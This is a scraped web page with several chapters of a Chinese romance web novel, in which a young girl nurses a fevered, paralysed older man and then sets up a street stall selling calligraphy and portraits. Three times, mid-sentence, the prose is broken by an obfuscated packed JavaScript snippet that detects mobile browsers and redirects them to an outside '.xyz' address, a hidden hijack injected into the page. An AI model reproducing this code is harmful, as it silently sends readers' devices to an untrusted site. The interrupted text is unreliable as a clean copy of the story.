林听澜回头，就见着小姑娘垂着头，小心翼翼地抬眼看她，双手合十做了个“拜托”的手势。 “真的……不可以让我看望一下沈哥哥吗？就一眼，一眼就好，我很担心他……” 说到最后一句，白栖枝水汪汪的大眼睛里又渗出泪花花。 她是真的很担心沈忘尘，本来他就不良于行，如今又生了热症，不仅无法出来透口气，还要喝这么苦的汤药。 如果……如果她能帮沈哥哥分担一点就好了，这样沈哥哥就不用这么难受了。 呜…… 看着面前的小姑娘架起胳膊擦眼泪，林听澜竟然难得的心软了下来。 “你……” “大爷！大爷！” 林听澜方开口吐出一字，一名小厮就院外急匆匆跑来。 “大爷！”见白栖枝在这儿，小厮一下子顿住，也不知该不该当着她的面说，一副很急的样子。 林听澜使了个眼色，小厮便凑到他耳畔低声密语。 原是生意那头出了问题：原本御史中丞约好后天才来看茶饼，却因为家中有事明儿就得往回赶，这才只能约到今天来谈。 虽说大昭商业繁荣、朝廷重商，但到底还是受传统士农工商地位的影响，商人低贱，哪里敢拂了朝廷命官的面子？林听澜就算在爱沈忘尘，也没脑子要断林家的商路。 况且入冬事忙，今年北边发了旱灾，还有一众灾民等着朝廷救济，大人们忙点也是正常。 只是…… 林听澜心里还是担心沈忘尘，此刻那人正烧得迷糊，大半天过去了也不见醒还一直困在梦魇里。眼下他不敢让府内其他下人进去唐突了沈忘尘，可若是交给白栖枝…… 林听澜低头看着将自己裹成一团的小白面团子。 只怕忘尘也不希望她看到自己那副不堪的模样吧？ 思量之间，御史中丞又派人来催，林听澜就算再没法子也得选出个法子。 托盘又回到手中，白栖枝抬头看向林听澜。 也算是当了这么多年的青梅竹马，这点意会还是看得懂的。 “放心吧！我会照顾好沈哥哥的！” 看着面前小姑娘信誓旦旦到就差擂心口的模样，林听澜就算悬着一颗心，如今也不得不如此了。 如芍药一般，沈忘尘也是简单嘱咐了两句便大步离开，余不得一点停留的时间。 望着那人匆匆离开的背影，白栖枝用鼻子长长叹了口气—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764779|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是个多事之冬啊…… 不好！药好像有点凉了，快进去快进去！ …… 屋内的气味并不好闻，檀香混着诡异的味道叫白栖枝忍不住屏息了一瞬。 朝里走，就见着沈忘尘躺在柔软的床榻上。 此刻他病得厉害，生个人像刚从水里捞出来似的，脸上、脖颈处都湿漉漉的满是汗水，面若好女的俊脸苍白着，血肉里头泛出不正常的潮红，浮在苍白如纸的面上，光是瞧着是煞是怜人。 他的手不知道什么时候出了锦被，搭在床沿儿上，无力地蜷曲着，时不时颤上两下。 白栖枝放下漆盘，伸手想要将他的手放回被子，可刚要触及，脑子里控制不住地浮现出许久之前林听澜那张阴沉的脸，吓得瑟缩了一下，连带着手都虚握成拳往回缩了一分。 “咳咳咳！”床上的人突然咳的厉害，纤长的眼睫中渗出晶莹的泪水，耳垂处红得仿佛要滴出血来。 白栖枝顾不得那么多，赶紧将他的手塞回被子里，又伸手在他胸膛前的被子上轻拍了拍，以示安慰。 沈忘尘如今这样，肯定是喝不下药的。 白栖枝正咬着指尖想怎么把他唤醒，那人却忽地又被梦魇魇住。 “阿娘……阿娘……”他像是个找不到回家的路的孩子，一声声不住地唤着，“别丢下我……阿娘……别走……” 人在最脆弱时总会念起阿娘，仿佛只要这样一声声地念着，天大的苦楚也能渐渐平息。 沈忘尘的声音实在是凄惶。 随着声音一起从身体里流淌出的，是在眼中早已酝酿了许久的、大颗大颗的泪珠。 他哭得梨花带雨，反倒叫白栖枝不知所措。 她并不知道沈忘尘是被他阿娘拼尽全力塞进沈府的。 孩子总是阿娘的心头肉，沈忘尘并不是沈家是正统的孩子，他是他娘和他爹一夜露水情缘怀的种，他娘身份低微，为了他能过上好日子，便是连命都豁上了。在沈忘尘认祖归宗后没多久，沈家便留子去母，随意在生死簿上勾抹去一道姓名。 沈忘尘并不是对此事一无所知。 所以被父亲勾去族谱上的姓名时，无论怎样，他到底心有愧疚，如今梦中重逢，他竟一时不知阿母究竟是来看他的，还是来怨他的。 白栖枝并不知道这些事，她听着沈忘尘一声声地唤着“阿娘”还以为是他心内委屈，怯怯地伸出手，如哄襁褓稚子般在柔软的锦被上不轻不重地拍着。 帕子一段浸过芍药的泪，现在她捏起另一端，又染上沈忘尘的泪，装作很成熟似的，哼唱着她故乡那边古旧的歌谣，打着拍子，絮絮安抚着沉浸在梦魇里的人。 她也不知道自己为什么会这样——许是前十三年来她的阿娘也是这样地，在每个雷雨交加的夜晚，对着用被子把自己裹成一团的她，总是耐心又温和地安抚；又或许是女孩子天生就有爱人的本领——总之，在她还不知道该怎样做时，她就已经做出来了。 于是，那位沉浸在梦魇中的人又攀上了一块浮木，沉沉浮浮地从一片混黑冰冷的意识海中得以喘息着—— 窥见一丝天光。 …… 18. 劣根性 还是后怕。 看着逐渐平息下来的沈忘尘，白栖枝攥紧帕子，搞得困在帕子中的那根食指被压出了一道浅浅的勒痕。 白栖枝从未见过如此无助的沈忘尘，抑或是她从没想到过沈忘尘会有这样无助的一面。 她有些害怕这样的他，甚至害怕到有些不知该如何面对，但是…… 鲜活的…… 这样的沈忘尘，鲜活的，不需要保持着任何年长者派头的，鲜活的…… 只是这样想着，白栖枝的视线忍不住滑落。 此刻，她的纤细的手腕被沈忘尘无知无觉地握着。 这人实在是烧得厉害，连带着平日里冰冷瘫软的手此时都热出了汗，擎着不知道从哪里来的力气，竟握住了她的手腕。 白栖枝只觉得自己腕骨上的皮肉烫得慌，连带着身上也热出了一层细密的汗水。 药要凉了…… 屋子里的地龙烧的旺，药是不会这么快就凉的。 可白栖枝就认为它要凉了。 她抽走手时，沈忘尘甚至还在用他那蜷曲无力的手指勾住了她的袖口。 白栖枝盯着那只手看了一会儿，随即握住、拿起，眼睁睁看着它委委屈屈地蜷缩了两下，又将它塞回温热的锦被中。 克己。 复礼。 白栖枝深吸一口气，起身去端那碗汤药。 没有凉，温热的，像身体里的血液一样。 白栖枝将刚刚那口气缓缓吐出，端着那碗如新鲜血液般即将注入进某副残破身躯的、深棕色的、苦的能钻入人心尖尖的药膳，转身朝沈忘尘走去。 “沈哥哥？沈哥哥？” 一缕细弱的光线照进沈忘尘混沌黑暗的识海，紧接着的是第二缕、第三缕……无数细弱的光线汇聚在一起，自昏黑无垠的海底中升腾而起，于是天光乍破、东方既白。 “沈哥哥……沈哥哥……” 是……谁…… 视线是由一片橘红色渐渐转为一片亮蒙蒙，沈忘尘半睁着一双无神的眼，被口中的干渴逼迫着舔了舔皲裂的唇瓣。 “沈哥哥！” 耳畔传来欣喜的轻呼声，随即，一个灰蒙蒙的阴影落下，一只干燥温暖的手拨开碎发、贴上他的额头。 小姑娘的发丝垂下，随着动作似有若无地落他脸上，轻轻扫着，有些痒。 眼前的水雾渐渐褪去，沈忘尘视线的焦点落在小姑娘那张素净的面上，随即又滑向她右手端着的那碗汤药。 头上一轻。 白栖枝收回手摸了摸自己的额头，惊喜道：“哎？好像开始退烧了！” 沈忘尘的视线又回落到她脸上：“你……” 话还没说完，就牵引出一连串的咳嗽，吓得白栖枝差点连药都端不稳了。 她急急道：“是这样的！我可以解释！” 随即，用左手比划着，连珠炮似得将整件事情的经过讲给他听，包括林听澜对她的嘱咐，事无巨细。但又因着不知道沈忘尘会不会在意自己在她面前暴露出软弱的一面，故而故意省略了她进门后的那一串事儿。 “所以，我是来看着沈哥哥喝药的！沈哥哥不可以赖药喔，不然我会很难交代的！” 最后一句话，白栖枝说得一脸认真。 她总是这样活力满满，连带着满身病气的沈忘尘心情都不由得好了些许。 至于林听澜说他赖药…… 真耍赖啊，竟然派一个孩子来看他喝药，毕竟他年纪也好大了，总不能拉下脸跟一个小孩子讨饶吧？ “不过话说回来，喝药的话，是需要扶沈哥哥坐起来的吧？”白栖枝略微思忖了一下，“沈哥哥你等我一下喔，我去先把药放到桌子上，然后再扶您起来。” 说完，“哒哒哒”地离开，“哒哒哒”地回来。 但是—— 沈忘尘虽然瘫痪许久，但到底还是个成年男子，而白栖枝才刚满十四岁，又因着一直在路上逃亡，有些瘦弱单薄，她想要把沈忘尘一把子扶起来，还是有些吃力的。 “叫下人进来吧。”见她有些发难，沈忘尘尽力勾了勾嘴角，让自己看起来和平时一样，“你前几日热症才好，别叫我又染给了你。近日你不用习书了，好好休息，别累着。” “没事的。”白栖枝道，“放心吧沈哥哥，我有的是力气和手段！就是……”她有些为难，“就是……可能……没那么舒服？” 说完，她就要去抱沈忘尘，却在离他身躯一尺远的地方顿住，看着他，眨巴了两下眼睛，轻声问道：“可以嘛？” 沈忘尘有些没力气说话，暂且闭眼默许。 虽然过程有点坎坷，但好在还是扶起来了，除了沈忘尘觉得自己有点眼前发黑之外一切都很好。 他没敢跟小姑娘说自己头晕得两眼发黑，毕竟他年长，吓到小孩子就不好了。 这一动，两个人都一身一身的汗，沈忘尘是病得，白栖枝是吓得。 白栖枝将被子往上提了提，为他掖好被角后才去端药，舀了一勺放到嘴边，刚要吹，顿住，递上前去： “温的。” 她看起来笨笨的，热得沈忘尘下意识将唇瓣微微抿出一道弧线，只是这一笑，牵动了他唇上皲裂的伤口，竟渗出斑斑血迹来。 “啊！出血了……”见状，白栖枝慌得竟不知是该先喂药还是该先为他擦嘴。 好在她勺子就递到了沈忘尘嘴边，后者轻易地张口含住勺子。 唔…… 沈忘尘本来想端着年长者的身份表现出一副波澜不惊的模样，奈何这汤药实在是太苦了，苦的他忍不住紧皱眉头，眼尾湿红，牵引出一连串的咳嗽。 果然，无论过去多长时间，他还是无法适应喝药这件事。 他这样，白栖枝也很慌。 “很苦吗？”她担忧地问道。 “很苦哦。”沈忘尘勉强止住咳嗽，湿漉着一双桃花眼，看向白栖枝，难得地生出了点劣根性，“枝枝要不要尝尝看？” 白栖枝：哎？我吗？ 看着沈忘尘真诚的眼神，她不确定地舀了，浅尝一口。 “……” “……” 最开始是面色一滞，随即神情一片空白，最后小巧精致的五官拧在一起凑了个“首”字。 缓了半晌，白栖枝神色茫然，眼神呆滞地喃喃道：“我好像……看见我阿娘了……” 孩子实在是被苦懵了。 见她这副模样，沈忘尘只觉得自己的劣根性得到了极大的满足。 无怪乎大家都喜欢逗孩子呢，逗小孩儿确实好玩。 沈忘尘本想抬手摸一摸白栖枝的小脑袋，奈何他实在是身上没劲儿，手刚伸出被子微微抬起一点就重重落下。 然后被白栖枝眼疾手快地塞回被窝。 “太坏了……准备更坏！”白栖枝说着，又重新舀了一勺递到沈忘尘嘴边，也不分谁大谁小，笑道，“没关系的沈哥哥，这一勺没有了，还有剩下的半壶在灶房里呢，热热还可以喝的，沈哥哥一定要喝光光喔！” 沈忘尘：那真是太坏了。 …… 林听澜匆匆赶回来的时候，白栖枝不知道再跟沈忘尘说着比划着什么，两人有说有笑、言笑晏晏的。 只是沈忘尘还在病中，笑的时候难免会连带上一连串的咳嗽，不过不大一会儿便被新的笑意盖过。 林听澜看着，心里有些吃味：“我回来了。” 他一开口，白栖枝便很有眼力见地从床上弹起来，把位置让给他。 “聊什么呢？这么开心。”他伸手，摸了摸沈忘尘的额头，松了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764780|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气，却也心疼的要命，“还是有点烫……” 沈忘尘这时已攒了些许力气，伸手覆上他的手背，温声道：“没什么，只是方才枝枝在讲一些她家乡的风俗趣事，枝……” 正打算悄悄退出两人之间的白栖枝：“……”哎？叫我嘛？ 沈忘尘拍了拍自己身侧的空地道：“外面下雪了吧？不急，再坐一会儿，等雪停了再回去也不迟。” 白栖枝开心道：“好喔！” 林听澜眼风一扫。 白栖枝正色道：“那很坏了。” “你别吓唬孩子。”沈忘尘拍了下林听澜的大腿，只是他现在软绵绵的没有力气，警告都像是在娇嗔。 林听澜转头，面色不是很好看：“自己拎凳子过来坐。” 白栖枝：那更坏了…… 趁着白栖枝去拎凳子的空档，林听澜抓住沈忘尘的手自己袖子里探，像个邀功的小孩子般低声道：“忘尘，猜猜我给你带回来了什么？” 指尖触及的刹那，沈忘尘就知道那是被油纸包裹的蜜饯，但他还是装作不知道的模样，微笑问道：“什么？” “是蜜梅脯。”说完，趁着白栖枝还在拽凳子的时候，在沈忘尘眉心处偷亲了一下。 白栖枝拽凳子是背对着两人拽的，当她好不容易把凳子拽过来坐下的时候，就看着沈忘尘眉心处有些湿漉漉，但她也没多想，只当是沈忘尘又出了汗。 她坐在凳子上，是那种很乖的坐姿，一看就心虚。 这时候林听澜已经将果脯从袖子里拿出，打开，捏起一个塞到沈忘尘嘴里。 沈忘尘细细地咬着，还不忘示意性朝白栖枝那边转了转眼珠。 白栖枝：总觉得背后凉飕飕的，不会是林听澜方才进来时没把门关严吧？ 正想着，一只捏着蜜梅的手出现在她面前。 白栖枝眨巴了两下眼睛，极不确定道：“给……我的？” 手很不耐烦地上下动了一下。 白栖枝眼里泛起了泪花花。 林听澜：“憋回去。” 白栖枝：“好的，呜……” 蜜饯咬在嘴里是甜甜的，白栖枝真的非常满足。 靠在床上的沈忘尘也非常满足。 他甚至在想，如果眼前的小姑娘是自己的妹妹就好了，这样他就可以…… “不可以。”心底猛地蹦出一个声音低吼道，“沈忘尘，你不配。” 是啊，他本就是一具残躯、一副枯骨，看着还是个人，可只要仔细一瞧便能知道，实际上他早就连鬼都不是了。 这样人不人鬼不鬼的他又哪里配得上这样的温情？ 心尖揪得发酸，沈忘尘勉强摆出一个笑脸来，轻轻覆上白栖枝的手，温声道：“枝枝今日辛苦了。” “不辛苦！”白栖枝嘴里咬着梅子有些口齿不清，“能帮上忙，枝枝很开心！” 林听澜默不作声地瞥了她一眼，不动声色：这小妮子，竟会在忘尘面前装乖…… 沈忘尘假装没看到林听澜的吃味，又道：“这几日沈哥哥没办法再教枝枝书了，枝枝就……就出去玩一玩吧，就当做是熟悉熟悉淮安的风土人情。” 还叫她出去？！林听澜几乎要跳起来，但被沈忘尘一个眼神给按回床上。 “只是……”他翻过白栖枝的掌心，上面软软写了个“一”字，“枝枝只可以出去一个时辰，不然沈哥哥和你林哥哥会担心的，好不好？” 其实也算不上担心，是私心。 上次小姑娘出去了，便是连学都不想上了，沈忘尘虽然想好好让她熟悉熟悉淮安，但未免她再出去“不学好”，只能给她规定一个时辰。 说完，他抬头看向白栖枝，依旧是微笑着，一双如茶雾般温润的眼眸像是浸了蜜的蛊。 …… 19. 借墨 人人都道淮安好。 白栖枝虽知淮安商贸繁荣，但自小在长平长大的她，还是难以想象淮安究竟能繁荣到何种地步。 她像一只在阴暗的巷子里蜷缩了的流浪小狗，满眼艳羡地看着巷子外的景象，甚至多次萌生想要跑出去闯一闯的决心，却还是在土墙光影交汇的边缘处顿住脚步，举起一只前爪，试探性地想要向前迈去。 好在这时日头足，正当小流浪狗举爪不定的时候，正朝它而来的暖阳已经照在它另一只小爪爪上了。 于是，早已整装待发的白栖枝终于可以义无反顾地朝着满是暖阳的前方奔去。 今日风雪不欺人。 “哇……” 看着北名大街两旁林立的商铺，白栖枝的嘴几乎张得能吞下一个鸡蛋。 并非没见识，只是这场景太过炫目，叫她一时半会儿反应不过来。 还未到年关，街道两旁就早早地高挂上大红灯笼，商铺的门面被厚厚的棉布帘子遮挡，只留下一道缝隙，好让门外那抹鲜红的光得有可乘之机。 白栖枝挤在人群中，四处地看着。 街道上，小贩们的叫卖声此起彼伏：“糖葫芦儿——”“热乎乎的糖烧栗子咯——”“新鲜出炉的小笼包，各位客官里面请——” “小姐，这是昨儿新到的胭脂，要不要试试？” 街上车水马龙，白栖枝不知道怎么地就被人潮挤到了一家胭脂水粉铺的摊子前，老板热情地同她打着招呼：“瞧小姐这出水芙蓉似的小脸儿，嫩的哟，一把都能掐出水来！正好，我这儿有盒新调的口脂，您用上，包您美得沉鱼落雁、闭月羞花，就算是天上那些神妃仙子来了，瞧见您都要羞得退避三舍呢！您要不要试试？” 老板一副嘴皮子夸得都要翻出花儿来了，搞得白栖枝有些不知所措，只用手背挡着嘴痴痴地笑，摆摆手，像一尾小鲤鱼儿似得滑溜溜地有钻入人潮中去，只一瞬，胭脂铺老板便再看不到她的身影。 “总觉得这姑娘有些面熟，是在哪儿见过呢……”面前，白栖枝那张乖兮兮的小脸又复现在她眼前，胭脂铺老板这次恍然大悟地一拍大腿，又惊又悔道：“呀！这不就是林大老板那位找上门的小娘子么！林家那么有钱，就算是从身上都掉个泥点子都够我们这些平民百姓活大半辈子了！我方才怎么有眼不识泰山，放过了那么个小财神？错过啊错过……” 然而现在，她口中的小财神身上却是连半个铜板都没有。 淮安繁华，这点做不了假，可同商业一起繁华的，还有这边儿的物价。 白栖枝在人群中窜来窜去。 她到淮安的年月也不算长，加之一直跟在沈忘尘身边学习，鲜有出来游玩的时间。此番出来，便是看什么都新鲜，无论是什么小铺子、小摊子都想挤过去看看。 但…… 好贵！ 白栖枝看着价牌上的字几乎都要惊呼出声来。 都说淮安是人杰地灵之地，相应的，人杰、地灵都需要金山银山来往上堆，相比于长平，淮安的物价基本上贵了一番不止，这里的人赚得多花的也多，那些金银流水似得来又流水似得走，如同涛涛海浪往礁石上一拍——除了个湿漉漉的印子便是什么也不剩了。 白栖枝本就清风两袖，莫说花钱，只要她不把自己赔出去就算是极好的了。 摊子上的编制出的小玩意儿们琳琅满目，白栖枝一眼就看到了最中间那只用丝线编织的精致可爱的小白兔，笑眯眯的，长得跟她好像。 若是从前，她肯定是要带回去，可如今…… 看着价牌上的数字，白栖枝摸了摸自己空荡荡的荷—— 好可怜，她连荷包都没有了。 没有钱，再喜欢的东西也买不得。 白栖枝在心底叹了口气，虽有些舍不得，却也乖乖转身离开为身后那些客官腾地方。 钱啊钱啊钱…… 怎么才能赚到钱呢？ 离开了热闹的街市，白栖枝靠着某处颓圮的白墙蹲在地上托腮想着。 她不是没有钱，那时候当金镯的钱她还留有剩余，可那些钱又能做什么呢？ 甚至连一支品相好一点的毛笔都买不了…… 等等！ 笔？ ——开源节流，重在开源。节流者，不过节用省费，虽能暂守家财，然非长策也。开源者，乃广辟财源，增益收入，方为财富日增之本。 脑海里突然传来沈忘尘授课时的声音。 霎时间，白栖枝如同被打通任督二脉的天才，醍醐灌顶！ 她“蹭”地一下如鲤鱼打挺般地站起，又来到街市处迅游。 也许是冬日太冷，如此繁华的北名大街竟真的没有几处字画摊子。 白栖枝自诩自己这位书画院翰林之女书画还不算难看，此时正是好时机，既然上天给了她这个机会，那她暂且一试又何妨？ 就是自己有些太久没拿画笔了，手法略有生疏，也不知道究竟能不能行。 哎……枝枝难的嘞。 * 林听澜感觉书房里进了小偷。 他一进来就能发现木案上少了什么—— 笔、墨、纸、砚，这家伙偷得还真干净啊！若不是忘尘病中无聊，托他来拿些闲书解闷，他这书房怕是就要被偷了个干净了吧？！ 偷东西偷到他林府来了，也真是艺高人胆大。 抓！必须抓！抓到直接打死！ 犯人许是刚逃没多久，连窗棂都没有关严，风一吹，将檐牙上滑落的积雪往窗子缝隙里塞几片碎玉。 案上，一张折叠规整的竹纸被风循着口子翻开，发出清脆一声响。 林听澜凑上前去，低头一看，就见着上面的写了一行整齐的簪花小楷—— “拜托了林哥哥，暂借笔墨纸砚一用。白栖枝留。” 竹纸右下方甚至还画上了小姑娘自己哭哭拜托的样子。 “呵。”林听澜难得地笑了一声，也不知道是气得还是被逗的。 他看向右下方的那副小相。 明明只是匆忙之间的潦草勾勒上的几笔，却偏偏将她整个人描摹得极为灵动，光是看着，他甚至就能想象到小姑娘哭唧唧地双手合十，朝自己讨饶的模样。 鬼使神差地，林听澜并没有将这张借条揉成一团扔掉，而是叠成四四方方的小纸片往书架中的缝隙处塞去，随即精心选了本话本子，合好窗，这才转身离去。 “所以你是说要自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14766482|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己一个人把桌椅搬出去？还不能让大爷知道？” 看着白栖枝兴冲冲的样子，春花露出看傻子的目光。 “且不说你力气这么小怎么一个人把桌椅搬出去，光是这么大个物件在府中挪来挪去，大爷又不是瞎，他能不知道么？” 白栖枝瞬间泄气，摆出一副哭哭脸，拉住她的手左右摇晃，撒娇道：“那该怎么办嘛？春花姐你教教我，教教我嘛……” “也不是没办法。”春花摸了摸下巴，“外面不是有那么多面摊茶摊的么？你随便租一套桌椅摆摊不就好了？” “哎？！”白栖枝变得睿智起来，眼里直冒金光，“可以的嘛？！” 春花：“可以的，有钱能使鬼推磨嘛，只要你付的钱足够多，人家自然乐得。” 紧接着，她就看白栖枝在自己身上摸来摸去。 “你找什么呢？”春花问道。 白栖枝十分难过：“我在找我的钱。” 扣去买文房四宝的钱外，她好像……真的没剩多少了。 “笨蛋。”春花也开始在自己身上摸来摸去。 她摸出十枚铜板：“这可是我原本给自己攒的胭脂钱，记得早些还我，不然我可是要管你要出息钱[1]的。” 白栖枝感动到就差扑到她身上哭了。 “扣扣扣。” 房门突然被人敲响，两人不约而同地紧张起来，白栖枝赶紧将攥着铜板的手背到身后：“请进。” 来者正是此前告假的芍药。 “芍药姐？”白栖枝松了口气，脸上又恢复了笑意，“你回来啦，阿爹好些了么？” “家父……病死了。” 轻飘飘的一句话，震得白栖枝耳朵嗡鸣声不止。 只见芍药向她走来，欠身一礼，随即将一百文钱双手奉上。 白栖枝在白家从未以翰林之女身份自居，再加上平日里经常跟诸位侍女姐姐谈天说笑，以至于众人在她并不需要太拘泥于规矩。可这位芍药偏不一样，无论何时她都极守礼数，甚至就连性情都有些木讷古板，哪怕是面对白栖枝，也会将礼数做足。 芍药道：“感谢白小姐那日肯帮奴婢，这是奴婢一天的工钱，还请白小姐收下，待白小姐收下，奴婢再去大管家那里领罚。” 白栖枝伫在原地，不知是该先安慰她还是该先拒绝这一百文钱。 还是春花率先反应过来，用胳膊肘怼了怼她，示意她赶紧接过来。 白栖枝不明就里，但还是乖乖收下。 待芍药离开，她才问春花为何要将这钱收下，明明芍药姐姐前几日刚丧父，如今又要被大管家罚工钱，这一百文她实在是不该拿。 春花道：“你不知道，芍药她是个死脑筋，倔得很，她认准的事儿就算是天王老子来了都拗不过，要不然凭她的姿色，怎么会还只当一个小小灶房丫鬟、净干些烧水煮饭的粗活儿？做人何必那么倔呢？唉……” 听着春花最后一声叹息，白栖枝忍不住撇过头，从窗棂的缝隙里往外瞧。 芍药尚未走远，瘦弱的背影衬在雪地里，薄得跟纸一样，却独独…… 独独多了几分风骨之意。 …… [1]出息钱：利息。 20. 摆摊 事情刚开始就碰了一鼻子灰，好在最后还是有个好心的开茶摊的姨姨最后看她可怜，租了套桌椅给她。 枝枝这下子真的变成穷光蛋了…… 四四方方的一张小桌，上面备齐笔墨纸砚，虽然这些东西的材质于她从前用的那些相差甚远，如今能有得用，白栖枝就已经很开心了。 “画小相，写桃符，不好看不要钱！” 因没钱做幌子，自己又不好意思喊出口，白栖枝只能在纸上写下大大的几个字摆到桌面上，探头探脑地做等人来。 此处正是北名大街最末端，再往外走个几百米，就要出城门了，因此除却要出城赶路的行客，这里几乎鲜有人至，更别说有什么兴致盎然的游人了。 毕竟是冬日，就算出了太阳也还是有些冷。 白栖枝身体还有些弱，坐了大半个上午到底还是有些吃力，但坐在这儿总比下湖帮人捡手绢暖和。 想着，白栖枝拢起手呵了口热气，不住地搓着，冻得红肿僵硬的手这才有了几分血色。 “小妹妹，不是阿姊说你，想买小相你得去前头买啊，那儿有钱人才多咧，这里又没什么人，你挑错地方咧！噗——” 茶摊老板听口音不是本地人，大概也是被淮安的金银流水吸引，从外地赶来做生意的。 现如今四下无人，茶摊里也没几个客人，她便翘着二郎腿坐在摊子里磕瓜子，见白栖枝小小地一团一直傻坐在那里，心里也起了几分动容，呸了果皮凑上来，小声道：“正巧我这茶摊子里还缺个招牌，我给你五十文，你帮我写一个，如何？” 这是……要开张了？！ 白栖枝高兴得点头如捣蒜，赶紧一口应下来，提笔兴冲冲道：“姨姨想写什么？枝枝都可以写！” 茶摊老板摸着下巴想了想，她没读过书，也认不得多少个字，想了半天也只憋出了一句：“好茶。” 白栖枝也学着她的动作，细细思忖着。 “喔！想到了！”白栖枝眼睛一亮，“姊姊，你觉得‘如归茶肆’这个名字可不可以？” 这茶摊摆在这里，招待的正是往来游客，宾至如归，岂不正好应了游客的心思？ “这个好这个好！如归茶肆……”老板将这四个字在口中细细咀嚼了一遍，欣喜道说道，“妹子你先写，阿姊给你拿幌子去！” 白栖枝也很兴奋！ 她先是用簪花小楷在纸上一角写下“如归茶肆”四个小字，随即闭眼凝神。 阿父是书画院翰林，在这种环境下长大的白栖枝自然见过不少名人真迹，一幅幅丹青妙笔在她眼前晃来又飞去。 这个……太文雅了；那个……好像又不符合茶肆；如果仿名人古迹的话……太显眼了。 在脑中飞速筛选了一下，白栖枝睁眼，看着面前空白的宣纸，用笔蘸了墨、舔好、提起，一番屏气凝神后才堪堪落笔。 “阿姊，这样可不可以？” 不远处传来小姑娘的询问声，茶肆老板抬头看去，就看着宣纸上龙飞凤舞的四个大字扑在她眼前。 ——如归茶肆。 这四个字写的真是极好，可惜她没什么文化也品鉴不出来有多好，但总归就是好的，比她此前在客人们手中无意中瞥过一眼的丹青作品都要好！ 老板激动得差点蹲不稳，想把这桌沿儿起身又不小心被碰掉的茶碗磕了下头。 “哐当——” 茶碗在地上打了好几个转儿，老板赶紧揉揉头，连茶碗都顾不得拾，一个箭步冲上前去一把抱住白栖枝，把她圈在怀里中揉捏：“哎呦，好乖哦好乖哦~从此以后我的小茶摊子也有名字了，如归茶肆，听着就气派！” 白栖枝：感觉脸痛痛的…… 一旁的茶客见她这样也忍不住好信儿起身来看，见到上面的字迹，也纷纷开口夸赞。 “这字迹，细细看去，甚至还有几分昔日书画院翰林白翰林之风啊！” 不知道是谁突然开口说了这么一句，白栖枝的目光瞬间凝聚到那人身上。 那人穿着身黑色的短衣宽裤，脸冻得通红，一看便是个贩夫走卒。 他刚说完这话，旁边就有人笑他：“白翰林的真迹岂是你这等人能见得到的？” “怎么见不到？”那人气哼哼地将两手一踹，大声道，“我便是长平人，当年家贫，冬日里吃不起饭，靠的就是白翰林施的白粥才能勉强活下来。”说到这儿，他又叹息地摇摇头道，“白翰林多么好的一个官儿啊，又清廉又爱民，怎么就能惹到仇家被灭了满门呢？还有白家的那位小姐，小菩萨似得人物，平日里经常跟着白大人给我们这些穷人施粥，福泽多深厚啊，结果到现在尸首都不知道被扔那儿了！唉……如果白小姐还活着，估计也和这小姑娘差不多大了。” 闻言，白栖枝只是用手背挡住嘴痴痴地笑。 昔日她同阿爹施粥时，阿爹总是要她带着面纱，说这样不容易被人认出来，不然有些受过他恩惠的贫民百姓们总会想着给她塞点什么东西暂做报答，他阿爹可怜百姓困苦，不想让她拿那些人的东西，这才叫她时时带着面纱不可摘下。 现如今，她这位传说中的“白小姐”人就坐在这儿，却为他人认出，也不足为奇。 “你这儿还画小相是不是？”倏地，客官里有个长得略有些凶煞的人问道，“这过了年关我又要往东边儿去了，恐怕两三年再不能回家，这样，我给你一百文，你给我画张小相，我带回去，也算给家中妻女留个念想。” 说着，那人将钱拍在桌面上。 是钱！！！ 白栖枝眼睛里都快要冒火星子了，但她没有先收，而是转过头看向那位客官，看了一会儿，笑道：“冬日天冷，还请阿伯至茶摊中小坐片刻，枝枝这就帮阿伯作画。” 那人又问：“不用我坐在这儿？” 白栖枝舔了笔，微微一笑道：“不用。”说完，又怕那人不信他，又补道，“不像不要钱。” 众人立即啧啧称奇：这可真是稀罕，从来画小相都是要照着人脸才能画的，哪里只需要看上两眼就能画出来的？怕不是这小姑娘为了博人眼球瞎说大话吧？ 有人打趣道：“你这小姑娘可不要吹牛皮，小心画完人家不满意把你这摊子给掀了，到时候连带着这茶摊的老板娘也倒霉。” 听他们这么说，白栖枝竟也打心底里生出些江湖气性来，俏皮一笑道： “您且瞧好吧！” 就这样，各位看官秉着一半好奇一半讥讽的心态，站在她身边就一点点地看着她作画。 只见白栖枝寥寥几笔就勾勒出个大略轮廓来。 众人回头看了看那位坐在摊子里还在气定神闲地喝茶水的大哥—— 像！ 